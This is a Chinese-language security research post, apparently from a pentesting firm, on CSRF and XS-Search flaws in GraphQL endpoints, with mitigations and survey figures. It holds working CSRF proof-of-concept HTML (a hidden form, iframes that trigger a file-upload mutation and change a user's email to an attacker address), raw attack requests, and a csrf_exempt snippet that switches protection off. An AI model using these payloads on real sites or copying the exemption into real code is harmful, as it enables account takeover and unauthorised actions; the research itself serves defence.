那个你一直忽略的GraphQL问题
随着GraphQL在Web领域的日益普及,我们希望讨论一类经常隐藏在GraphQL实现中的特定漏洞类型。
GraphQL是什么?
GraphQL是一种备受喜爱的开源查询语言,可帮助构建有意义的API。其主要特性包括:
- 从多个源聚合数据
- 通过图形式将数据与底层数据库解耦
- 以最小开发努力确保输入类型正确性
CSRF嗯?
跨站请求伪造(CSRF)是一种攻击类型,当恶意Web应用导致Web浏览器代表认证用户执行非预期操作时发生。此类攻击有效是因为浏览器请求自动包含所有cookie(包括会话cookie)。
GraphQL CSRF:更多流行词组合!
基于POST的CSRF
POST请求是天然的CSRF目标,因为它们通常改变应用状态。GraphQL端点通常仅接受Content-Type头设置为application/json,这被广泛认为不易受CSRF影响。由于多层中间件可能将传入请求从其他格式(例如查询参数、application/x-www-form-urlencoded、multipart/form-data)转换,GraphQL实现经常受到CSRF影响。另一个错误假设是JSON无法从urlencoded请求创建。当同时做出这两个假设时,许多开发者可能错误地放弃实施适当的CSRF保护。
错误的安全感对攻击者有利,因为它创造了更容易利用的攻击面。例如,可以通过简单的application/json POST请求发出有效的GraphQL查询:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
POST /graphql HTTP/1.1
Host: redacted
Connection: close
Content-Length: 100
accept: */*
User-Agent: ...
content-type: application/json
Referer: https://redacted/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: ...
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
|
由于中间件的魔力,服务器接受相同请求作为form-urlencoded POST请求也很常见:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
POST /graphql HTTP/1.1
Host: redacted
Connection: close
Content-Length: 72
accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: https://redacted
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: ...
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
经验丰富的Burp用户可以通过Engagement Tools > Generate CSRF PoC快速转换为CSRF PoC:
1
2
3
4
5
6
7
8
9
10
|
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://redacted/graphql" method="POST">
<input type="hidden" name="query" value="{   user {     firstName     __typename   } } " />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
|
虽然上面的例子只展示了一个无害查询,但情况并非总是如此。由于GraphQL解析器通常与传递的底层应用层解耦,可以发出任何其他查询,包括变更操作。
基于GET的CSRF
在我们过去的参与中发现了两个常见问题。
第一个是同时使用GET请求进行查询和变更。例如,在我们最近的一次参与中,应用暴露了GraphiQL控制台。GraphiQL仅用于开发环境。当配置错误时,它可能被滥用以对受害者执行CSRF攻击,导致其浏览器发出任意查询或变更请求。事实上,GraphiQL确实允许通过GET请求进行变更。
虽然标准Web应用中的CSRF通常只影响少数端点,但GraphQL中的相同问题通常是系统性的。
为了举例说明,我们包含了一个处理文件上传功能的变更操作的Proof-of-Concept:
1
2
3
4
5
6
7
8
9
|
<!DOCTYPE html>
<html>
<head>
<title>GraphQL CSRF file upload</title>
</head>
<body>
<iframe src="https://graphql.victimhost.com/?query=mutation%20AddFile(%24name%3A%20String!%2C%20%24data%3A%20String!%2C%20%24contentType%3A%20String!) %20%7B%0A%20%20AddFile(file_name%3A%20%24name%2C%20data%3A%20%24data%2C%20content_type%3A%20%24contentType) %20%7B%0A%20%20%20%20id%0A%20%20%20%20__typename%0A%20%20%7D%0A%7D%0A&variables=%7B%0A %20%20%22data%22%3A%20%22%22%2C%0A%20%20%22name%22%3A%20%22dummy.pdf%22%2C%0A%20%20%22contentType%22%3A%20%22application%2Fpdf%22%0A%7D"></iframe>
</body>
</html>
|
第二个问题出现在状态改变的GraphQL操作被错误地放置在通常不改变状态的查询中。事实上,大多数GraphQL服务器实现都遵循这种范式,它们甚至阻止通过GET HTTP方法进行任何类型的变更。发现此类问题很简单,可以通过枚举查询名称并尝试理解它们的作用来完成。为此,我们开发了一个用于查询/变更枚举的工具。
在一次参与中,我们发现了以下发出状态改变操作的查询:
1
2
3
4
5
6
7
8
|
req := graphql.NewRequest(`
query SetUserEmail($email: String!) {
SetUserEmail(user_email: $email) {
id
email
}
}
`)
|
鉴于id值容易猜测,我们能够准备一个CSRF PoC:
1
2
3
4
5
6
7
8
9
|
<!DOCTYPE html>
<html>
<head>
<title>GraphQL CSRF - State Changing Query</title>
</head>
<body>
<iframe width="1000" height="1000" src="https://victimhost.com/?query=query%20SetUserEmail%28%24email%3A%20String%21%29%20%7B%0A%20%20SetUserEmail%28user_email%3A%20%24email%29%20%7B%0A%20%20%20%20id%0A%20%20%20%20email%0A%20%20%7D%0A%7D%0A%26variables%3D%7B%0A%20%20%22id%22%3A%20%22441%22%2C%0A%20%20%22email%22%3A%20%22attacker%40email.xyz%22%2C%0A%7D"></iframe>
</body>
</html>
|
尽管最常用的GraphQL服务器/库具有某种CSRF保护,但我们发现在某些情况下开发者绕过了CSRF保护机制。例如,如果使用graphene-django,有一种简单的方法可以停用特定GraphQL端点的CSRF保护:
1
2
3
4
5
|
urlpatterns = patterns(
# ...
url(r'^graphql', csrf_exempt(GraphQLView.as_view(graphiql=True))),
# ...
)
|
CSRF:安全总比后悔好
一些浏览器,如Chrome,最近默认cookie行为等同于SameSite=Lax,这保护了最常见的CSRF向量。
其他预防方法可以在每个应用中实施。最常见的有:
- 现代框架中的内置CSRF保护
- 来源验证
- 双重提交cookie
- 基于用户交互的保护
- 不对状态改变操作使用GET请求
- 对GET请求也增强CSRF保护
并非每个应用都有单一最佳选项。确定最佳保护需要逐案评估特定环境。
探索XS-Search
在XS-Search攻击中,攻击者利用CSRF漏洞强制受害者请求攻击者自己无法访问的数据。然后攻击者比较响应时间以推断请求是否成功。
例如,如果文件搜索功能中存在CSRF漏洞,攻击者可以使管理员访问该页面,他们可以让受害者搜索以特定值开头的文件名,以确认其存在/可访问性。
接受复杂urlencoded查询的GET请求并展示对其GraphQL端点CSRF保护普遍误解的应用是XS-Search攻击的完美目标。
XS-Search是一种相当简洁简单的技术,可以将以下查询转换为攻击者控制的二进制搜索(例如,我们可以枚举私有平台的用户):
1
2
3
4
5
|
query {
isEmailAvailable(email:"foo@bar.com") {
is_email_available
}
}
|
以HTTP GET形式:
1
2
3
4
5
6
7
8
|
GET /graphql?query=query+%7B%0A%09isEmailAvailable%28email%3A%22foo%40bar.com%22%29+%7B%0A%09%09is_email_available%0A%09%7D%0A%7D HTTP/1.1
Accept-Encoding: gzip, deflate
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Host: redacted
Content-Length: 0
Content-Type: application/json
Cookie: ...
|
对GraphQL端点成功XS-Search攻击的影响不容小觑。然而,如前所述,基于CSRF的问题可以通过一些努力成功缓解。
自动化一切!
尽管我们喜欢艰难地寻找漏洞,但我们相信自动化是民主化安全并向社区提供最佳服务的唯一途径。
为此,并结合这项研究,我们发布了GraphQL InQL Burp扩展的新主要版本。InQL v4可以帮助检测这些问题:
给我们心爱的数字控们的一些东西!
我们在一些使用GraphQL的顶级公司中测试了上述漏洞。虽然对这些约30个端点的研究仅持续了两天,不应推断结论性或完整性,但数字显示了大量未修补的漏洞:
- 14个(约50%)容易受到某种XS-Search攻击,等同于基于GET的CSRF
- 3个(约10%)容易受到CSRF攻击
TL;DR:跨站请求伪造还会存在几年,即使你使用GraphQL!
参考文献
- GraphQL安全概述
- Doyensec InQL扫描器
- OWASP CSRF预防备忘单
- GraphQL GET请求查询
- XSSearch
- GET请求的XSSearch导航事件
其他相关帖子
- InQL v5:技术深度探讨 - 2023年8月17日
- InQL Scanner v3 - 刚刚发布! - 2020年11月19日
- Play Framework中的CSRF保护绕过 - 2020年8月20日
- InQL Scanner v2发布! - 2020年6月11日
- InQL Scanner - 2020年3月26日
- GraphQL - 安全概述和测试技巧 - 2018年5月17日